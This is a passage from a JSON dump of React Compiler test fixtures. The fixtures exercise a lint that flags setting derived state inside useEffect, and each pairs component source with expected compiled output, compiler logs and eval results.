Logs\n\n```\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":4,\"column\":0,\"index\":126},\"end\":{\"line\":6,\"column\":1,\"index\":230},\"filename\":\"derived-state-from-prop-setter-used-outside-effect-no-error.ts\"},\"fnName\":\"MockComponent\",\"memoSlots\":2,\"memoBlocks\":1,\"memoValues\":1,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":8,\"column\":0,\"index\":232},\"end\":{\"line\":15,\"column\":1,\"index\":421},\"filename\":\"derived-state-from-prop-setter-used-outside-effect-no-error.ts\"},\"fnName\":\"Component\",\"memoSlots\":4,\"memoBlocks\":2,\"memoValues\":3,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: ok) <div>Mock Component</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-setter-used-outside-effect-no-error.js",
    "content": "// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nfunction MockComponent({onSet}) {\n  return <div onClick={() => onSet('clicked')}>Mock Component</div>;\n}\n\nfunction Component({propValue}) {\n  const [value, setValue] = useState(null);\n  useEffect(() => {\n    setValue(propValue);\n  }, [propValue]);\n\n  return <MockComponent onSet={setValue} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{propValue: 'test'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-with-side-effect.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nfunction Component({value}) {\n  const [localValue, setLocalValue] = useState('');\n\n  useEffect(() => {\n    setLocalValue(value);\n    document.title = `Value: ${value}`;\n  }, [value]);\n\n  return <div>{localValue}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 'test'}],\n};\n\n```\n\n## Code\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport { useEffect, useState } from \"react\";\n\nfunction Component({ value }) {\n  const [localValue, setLocalValue] = useState(\"\");\n\n  useEffect(() => {\n    setLocalValue(value);\n    document.title = `Value: ${value}`;\n  }, [value]);\n\n  return <div>{localValue}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: \"test\" }],\n};\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileError\",\"detail\":{\"options\":{\"description\":\"Using an effect triggers an additional render which can hurt performance and user experience, potentially briefly showing stale values to the user\\n\\nThis setState call is setting a derived value that depends on the following reactive sources:\\n\\nProps: [value]\\n\\nData Flow Tree:\\n└── value (Prop)\\n\\nSee: https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state\",\"category\":\"EffectDerivationsOfState\",\"reason\":\"You might not need an effect. Derive values in render, not effects.\",\"details\":[{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":8,\"column\":4,\"index\":233},\"end\":{\"line\":8,\"column\":17,\"index\":246},\"filename\":\"derived-state-from-prop-with-side-effect.ts\",\"identifierName\":\"setLocalValue\"},\"message\":\"This should be computed during render, not in an effect\"}]}},\"fnLoc\":null}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":4,\"column\":0,\"index\":126},\"end\":{\"line\":13,\"column\":1,\"index\":346},\"filename\":\"derived-state-from-prop-with-side-effect.ts\"},\"fnName\":\"Component\",\"memoSlots\":5,\"memoBlocks\":2,\"memoValues\":3,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: ok) <div>test</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-prop-with-side-effect.js",
    "content": "// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nfunction Component({value}) {\n  const [localValue, setLocalValue] = useState('');\n\n  useEffect(() => {\n    setLocalValue(value);\n    document.title = `Value: ${value}`;\n  }, [value]);\n\n  return <div>{localValue}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 'test'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-ref-and-state-no-error.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport {useEffect, useState, useRef} from 'react';\n\nexport default function Component({test}) {\n  const [local, setLocal] = useState('');\n\n  const myRef = useRef(null);\n\n  useEffect(() => {\n    setLocal(myRef.current + test);\n  }, [test]);\n\n  return <>{local}</>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{test: 'testString'}],\n};\n\n```\n\n## Code\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport { useEffect, useState, useRef } from \"react\";\n\nexport default function Component({ test }) {\n  const [local, setLocal] = useState(\"\");\n\n  const myRef = useRef(null);\n\n  useEffect(() => {\n    setLocal(myRef.current + test);\n  }, [test]);\n\n  return <>{local}</>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ test: \"testString\" }],\n};\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":4,\"column\":15,\"index\":149},\"end\":{\"line\":14,\"column\":1,\"index\":347},\"filename\":\"derived-state-from-ref-and-state-no-error.ts\"},\"fnName\":\"Component\",\"memoSlots\":5,\"memoBlocks\":2,\"memoValues\":3,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: ok) nulltestString"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/derived-state-from-ref-and-state-no-error.js",
    "content": "// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport {useEffect, useState, useRef} from 'react';\n\nexport default function Component({test}) {\n  const [local, setLocal] = useState('');\n\n  const myRef = useRef(null);\n\n  useEffect(() => {\n    setLocal(myRef.current + test);\n  }, [test]);\n\n  return <>{local}</>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{test: 'testString'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-contains-local-function-call.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nfunction Component({propValue}) {\n  const [value, setValue] = useState(null);\n\n  function localFunction() {\n    console.log('local function');\n  }\n\n  useEffect(() => {\n    setValue(propValue);\n    localFunction();\n  }, [propValue]);\n\n  return <div>{value}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{propValue: 'test'}],\n};\n\n```\n\n## Code\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport { useEffect, useState } from \"react\";\n\nfunction Component({ propValue }) {\n  const [value, setValue] = useState(null);\n\n  function localFunction() {\n    console.log(\"local function\");\n  }\n\n  useEffect(() => {\n    setValue(propValue);\n    localFunction();\n  }, [propValue]);\n\n  return <div>{value}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ propValue: \"test\" }],\n};\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileError\",\"detail\":{\"options\":{\"description\":\"Using an effect triggers an additional render which can hurt performance and user experience, potentially briefly showing stale values to the user\\n\\nThis setState call is setting a derived value that depends on the following reactive sources:\\n\\nProps: [propValue]\\n\\nData Flow Tree:\\n└── propValue (Prop)\\n\\nSee: https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state\",\"category\":\"EffectDerivationsOfState\",\"reason\":\"You might not need an effect. Derive values in render, not effects.\",\"details\":[{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":12,\"column\":4,\"index\":298},\"end\":{\"line\":12,\"column\":12,\"index\":306},\"filename\":\"effect-contains-local-function-call.ts\",\"identifierName\":\"setValue\"},\"message\":\"This should be computed during render, not in an effect\"}]}},\"fnLoc\":null}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":4,\"column\":0,\"index\":126},\"end\":{\"line\":17,\"column\":1,\"index\":390},\"filename\":\"effect-contains-local-function-call.ts\"},\"fnName\":\"Component\",\"memoSlots\":6,\"memoBlocks\":3,\"memoValues\":4,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: ok) <div>test</div>\nlogs: ['local function']"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-contains-local-function-call.js",
    "content": "// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nfunction Component({propValue}) {\n  const [value, setValue] = useState(null);\n\n  function localFunction() {\n    console.log('local function');\n  }\n\n  useEffect(() => {\n    setValue(propValue);\n    localFunction();\n  }, [propValue]);\n\n  return <div>{value}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{propValue: 'test'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-contains-prop-function-call-no-error.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nfunction Component({propValue, onChange}) {\n  const [value, setValue] = useState(null);\n  useEffect(() => {\n    setValue(propValue);\n    onChange();\n  }, [propValue]);\n\n  return <div>{value}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{propValue: 'test', onChange: () => {}}],\n};\n\n```\n\n## Code\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport { useEffect, useState } from \"react\";\n\nfunction Component({ propValue, onChange }) {\n  const [value, setValue] = useState(null);\n  useEffect(() => {\n    setValue(propValue);\n    onChange();\n  }, [propValue]);\n\n  return <div>{value}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ propValue: \"test\", onChange: () => {} }],\n};\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":4,\"column\":0,\"index\":126},\"end\":{\"line\":12,\"column\":1,\"index\":325},\"filename\":\"effect-contains-prop-function-call-no-error.ts\"},\"fnName\":\"Component\",\"memoSlots\":7,\"memoBlocks\":3,\"memoValues\":3,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":16,\"column\":41,\"index\":421},\"end\":{\"line\":16,\"column\":49,\"index\":429},\"filename\":\"effect-contains-prop-function-call-no-error.ts\"},\"fnName\":null,\"memoSlots\":0,\"memoBlocks\":0,\"memoValues\":0,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: ok) <div>test</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-contains-prop-function-call-no-error.js",
    "content": "// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nfunction Component({propValue, onChange}) {\n  const [value, setValue] = useState(null);\n  useEffect(() => {\n    setValue(propValue);\n    onChange();\n  }, [propValue]);\n\n  return <div>{value}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{propValue: 'test', onChange: () => {}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-used-in-dep-array-still-errors.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\n\nfunction Component({prop}) {\n  const [s, setS] = useState(0);\n  useEffect(() => {\n    setS(prop);\n  }, [prop, setS]);\n\n  return <div>{prop}</div>;\n}\n\n```\n\n## Code\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\n\nfunction Component({ prop }) {\n  const [s, setS] = useState(0);\n  useEffect(() => {\n    setS(prop);\n  }, [prop, setS]);\n\n  return <div>{prop}</div>;\n}\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileError\",\"detail\":{\"options\":{\"description\":\"Using an effect triggers an additional render which can hurt performance and user experience, potentially briefly showing stale values to the user\\n\\nThis setState call is setting a derived value that depends on the following reactive sources:\\n\\nProps: [prop]\\n\\nData Flow Tree:\\n└── prop (Prop)\\n\\nSee: https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state\",\"category\":\"EffectDerivationsOfState\",\"reason\":\"You might not need an effect. Derive values in render, not effects.\",\"details\":[{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":6,\"column\":4,\"index\":169},\"end\":{\"line\":6,\"column\":8,\"index\":173},\"filename\":\"effect-used-in-dep-array-still-errors.ts\",\"identifierName\":\"setS\"},\"message\":\"This should be computed during render, not in an effect\"}]}},\"fnLoc\":null}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":3,\"column\":0,\"index\":83},\"end\":{\"line\":10,\"column\":1,\"index\":231},\"filename\":\"effect-used-in-dep-array-still-errors.ts\"},\"fnName\":\"Component\",\"memoSlots\":5,\"memoBlocks\":2,\"memoValues\":3,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-used-in-dep-array-still-errors.js",
    "content": "// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\n\nfunction Component({prop}) {\n  const [s, setS] = useState(0);\n  useEffect(() => {\n    setS(prop);\n  }, [prop, setS]);\n\n  return <div>{prop}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-with-cleanup-function-depending-on-derived-computation-value.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\n\nimport {useEffect, useState} from 'react';\n\nfunction Component(file: File) {\n  const [imageUrl, setImageUrl] = useState(null);\n\n  /*\n   * Cleaning up the variable or a source of the variable used to setState\n   * inside the effect communicates that we always need to clean up something\n   * which is a valid use case for useEffect. In which case we want to\n   * avoid an throwing\n   */\n  useEffect(() => {\n    const imageUrlPrepared = URL.createObjectURL(file);\n    setImageUrl(imageUrlPrepared);\n    return () => URL.revokeObjectURL(imageUrlPrepared);\n  }, [file]);\n\n  return <Image src={imageUrl} xstyle={styles.imageSizeLimits} />;\n}\n\n```\n\n## Code\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\n\nimport { useEffect, useState } from \"react\";\n\nfunction Component(file: File) {\n  const [imageUrl, setImageUrl] = useState(null);\n\n  /*\n   * Cleaning up the variable or a source of the variable used to setState\n   * inside the effect communicates that we always need to clean up something\n   * which is a valid use case for useEffect. In which case we want to\n   * avoid an throwing\n   */\n  useEffect(() => {\n    const imageUrlPrepared = URL.createObjectURL(file);\n    setImageUrl(imageUrlPrepared);\n    return () => URL.revokeObjectURL(imageUrlPrepared);\n  }, [file]);\n\n  return <Image src={imageUrl} xstyle={styles.imageSizeLimits} />;\n}\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":5,\"column\":0,\"index\":127},\"end\":{\"line\":21,\"column\":1,\"index\":719},\"filename\":\"effect-with-cleanup-function-depending-on-derived-computation-value.ts\"},\"fnName\":\"Component\",\"memoSlots\":5,\"memoBlocks\":2,\"memoValues\":3,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-with-cleanup-function-depending-on-derived-computation-value.js",
    "content": "// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\n\nimport {useEffect, useState} from 'react';\n\nfunction Component(file: File) {\n  const [imageUrl, setImageUrl] = useState(null);\n\n  /*\n   * Cleaning up the variable or a source of the variable used to setState\n   * inside the effect communicates that we always need to clean up something\n   * which is a valid use case for useEffect. In which case we want to\n   * avoid an throwing\n   */\n  useEffect(() => {\n    const imageUrlPrepared = URL.createObjectURL(file);\n    setImageUrl(imageUrlPrepared);\n    return () => URL.revokeObjectURL(imageUrlPrepared);\n  }, [file]);\n\n  return <Image src={imageUrl} xstyle={styles.imageSizeLimits} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-with-global-function-call-no-error.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nfunction Component({propValue}) {\n  const [value, setValue] = useState(null);\n  useEffect(() => {\n    setValue(propValue);\n    globalCall();\n  }, [propValue]);\n\n  return <div>{value}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{propValue: 'test'}],\n};\n\n```\n\n## Code\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport { useEffect, useState } from \"react\";\n\nfunction Component({ propValue }) {\n  const [value, setValue] = useState(null);\n  useEffect(() => {\n    setValue(propValue);\n    globalCall();\n  }, [propValue]);\n\n  return <div>{value}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ propValue: \"test\" }],\n};\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":4,\"column\":0,\"index\":126},\"end\":{\"line\":12,\"column\":1,\"index\":317},\"filename\":\"effect-with-global-function-call-no-error.ts\"},\"fnName\":\"Component\",\"memoSlots\":5,\"memoBlocks\":2,\"memoValues\":3,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: exception) globalCall is not defined"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/effect-with-global-function-call-no-error.js",
    "content": "// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nfunction Component({propValue}) {\n  const [value, setValue] = useState(null);\n  useEffect(() => {\n    setValue(propValue);\n    globalCall();\n  }, [propValue]);\n\n  return <div>{value}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{propValue: 'test'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/from-props-setstate-in-effect-no-error.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @enableTreatSetIdentifiersAsStateSetters @loggerTestOnly @outputMode:\"lint\"\n\nfunction Component({setParentState, prop}) {\n  useEffect(() => {\n    setParentState(prop);\n  }, [prop]);\n\n  return <div>{prop}</div>;\n}\n\n```\n\n## Code\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @enableTreatSetIdentifiersAsStateSetters @loggerTestOnly @outputMode:\"lint\"\n\nfunction Component({ setParentState, prop }) {\n  useEffect(() => {\n    setParentState(prop);\n  }, [prop]);\n\n  return <div>{prop}</div>;\n}\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":3,\"column\":0,\"index\":124},\"end\":{\"line\":9,\"column\":1,\"index\":259},\"filename\":\"from-props-setstate-in-effect-no-error.ts\"},\"fnName\":\"Component\",\"memoSlots\":7,\"memoBlocks\":3,\"memoValues\":3,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/from-props-setstate-in-effect-no-error.js",
    "content": "// @validateNoDerivedComputationsInEffects_exp @enableTreatSetIdentifiersAsStateSetters @loggerTestOnly @outputMode:\"lint\"\n\nfunction Component({setParentState, prop}) {\n  useEffect(() => {\n    setParentState(prop);\n  }, [prop]);\n\n  return <div>{prop}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/function-expression-mutation-edge-case.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\n\nfunction Component() {\n  const [foo, setFoo] = useState({});\n  const [bar, setBar] = useState(new Set());\n\n  /*\n   * isChanged is considered context of the effect's function expression,\n   * if we don't bail out of effect mutation derivation tracking, isChanged\n   * will inherit the sources of the effect's function expression.\n   *\n   * This is innacurate and with the multiple passes ends up causing an infinite loop.\n   */\n  useEffect(() => {\n    let isChanged = false;\n\n    const newData = foo.map(val => {\n      bar.someMethod(val);\n      isChanged = true;\n    });\n\n    if (isChanged) {\n      setFoo(newData);\n    }\n  }, [foo, bar]);\n\n  return (\n    <div>\n      {foo}, {bar}\n    </div>\n  );\n}\n\n```\n\n## Code\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\n\nfunction Component() {\n  const [foo, setFoo] = useState({});\n  const [bar, setBar] = useState(new Set());\n\n  /*\n   * isChanged is considered context of the effect's function expression,\n   * if we don't bail out of effect mutation derivation tracking, isChanged\n   * will inherit the sources of the effect's function expression.\n   *\n   * This is innacurate and with the multiple passes ends up causing an infinite loop.\n   */\n  useEffect(() => {\n    let isChanged = false;\n\n    const newData = foo.map((val) => {\n      bar.someMethod(val);\n      isChanged = true;\n    });\n\n    if (isChanged) {\n      setFoo(newData);\n    }\n  }, [foo, bar]);\n\n  return (\n    <div>\n      {foo}, {bar}\n    </div>\n  );\n}\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileError\",\"detail\":{\"options\":{\"description\":\"Using an effect triggers an additional render which can hurt performance and user experience, potentially briefly showing stale values to the user\\n\\nThis setState call is setting a derived value that depends on the following reactive sources:\\n\\nState: [foo, bar]\\n\\nData Flow Tree:\\n└── newData\\n    ├── foo (State)\\n    └── bar (State)\\n\\nSee: https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state\",\"category\":\"EffectDerivationsOfState\",\"reason\":\"You might not need an effect. Derive values in render, not effects.\",\"details\":[{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":23,\"column\":6,\"index\":682},\"end\":{\"line\":23,\"column\":12,\"index\":688},\"filename\":\"function-expression-mutation-edge-case.ts\",\"identifierName\":\"setFoo\"},\"message\":\"This should be computed during render, not in an effect\"}]}},\"fnLoc\":null}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":3,\"column\":0,\"index\":83},\"end\":{\"line\":32,\"column\":1,\"index\":781},\"filename\":\"function-expression-mutation-edge-case.ts\"},\"fnName\":\"Component\",\"memoSlots\":9,\"memoBlocks\":4,\"memoValues\":5,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/function-expression-mutation-edge-case.js",
    "content": "// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\n\nfunction Component() {\n  const [foo, setFoo] = useState({});\n  const [bar, setBar] = useState(new Set());\n\n  /*\n   * isChanged is considered context of the effect's function expression,\n   * if we don't bail out of effect mutation derivation tracking, isChanged\n   * will inherit the sources of the effect's function expression.\n   *\n   * This is innacurate and with the multiple passes ends up causing an infinite loop.\n   */\n  useEffect(() => {\n    let isChanged = false;\n\n    const newData = foo.map(val => {\n      bar.someMethod(val);\n      isChanged = true;\n    });\n\n    if (isChanged) {\n      setFoo(newData);\n    }\n  }, [foo, bar]);\n\n  return (\n    <div>\n      {foo}, {bar}\n    </div>\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/invalid-derived-computation-in-effect.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nfunction Component() {\n  const [firstName, setFirstName] = useState('Taylor');\n  const lastName = 'Swift';\n\n  // 🔴 Avoid: redundant state and unnecessary Effect\n  const [fullName, setFullName] = useState('');\n  useEffect(() => {\n    setFullName(firstName + ' ' + lastName);\n  }, [firstName, lastName]);\n\n  return <div>{fullName}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport { useEffect, useState } from \"react\";\n\nfunction Component() {\n  const [firstName, setFirstName] = useState(\"Taylor\");\n  const lastName = \"Swift\";\n\n  // 🔴 Avoid: redundant state and unnecessary Effect\n  const [fullName, setFullName] = useState(\"\");\n  useEffect(() => {\n    setFullName(firstName + \" \" + lastName);\n  }, [firstName, lastName]);\n\n  return <div>{fullName}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileError\",\"detail\":{\"options\":{\"description\":\"Using an effect triggers an additional render which can hurt performance and user experience, potentially briefly showing stale values to the user\\n\\nThis setState call is setting a derived value that depends on the following reactive sources:\\n\\nState: [firstName]\\n\\nData Flow Tree:\\n└── firstName (State)\\n\\nSee: https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state\",\"category\":\"EffectDerivationsOfState\",\"reason\":\"You might not need an effect. Derive values in render, not effects.\",\"details\":[{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":11,\"column\":4,\"index\":360},\"end\":{\"line\":11,\"column\":15,\"index\":371},\"filename\":\"invalid-derived-computation-in-effect.ts\",\"identifierName\":\"setFullName\"},\"message\":\"This should be computed during render, not in an effect\"}]}},\"fnLoc\":null}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":4,\"column\":0,\"index\":126},\"end\":{\"line\":15,\"column\":1,\"index\":464},\"filename\":\"invalid-derived-computation-in-effect.ts\"},\"fnName\":\"Component\",\"memoSlots\":5,\"memoBlocks\":2,\"memoValues\":3,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: ok) <div>Taylor Swift</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/invalid-derived-computation-in-effect.js",
    "content": "// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nfunction Component() {\n  const [firstName, setFirstName] = useState('Taylor');\n  const lastName = 'Swift';\n\n  // 🔴 Avoid: redundant state and unnecessary Effect\n  const [fullName, setFullName] = useState('');\n  useEffect(() => {\n    setFullName(firstName + ' ' + lastName);\n  }, [firstName, lastName]);\n\n  return <div>{fullName}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/invalid-derived-state-from-computed-props.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nexport default function Component(props) {\n  const [displayValue, setDisplayValue] = useState('');\n\n  useEffect(() => {\n    const computed = props.prefix + props.value + props.suffix;\n    setDisplayValue(computed);\n  }, [props.prefix, props.value, props.suffix]);\n\n  return <div>{displayValue}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{prefix: '[', value: 'test', suffix: ']'}],\n};\n\n```\n\n## Code\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport { useEffect, useState } from \"react\";\n\nexport default function Component(props) {\n  const [displayValue, setDisplayValue] = useState(\"\");\n\n  useEffect(() => {\n    const computed = props.prefix + props.value + props.suffix;\n    setDisplayValue(computed);\n  }, [props.prefix, props.value, props.suffix]);\n\n  return <div>{displayValue}</div>;\n}\n\nexport const 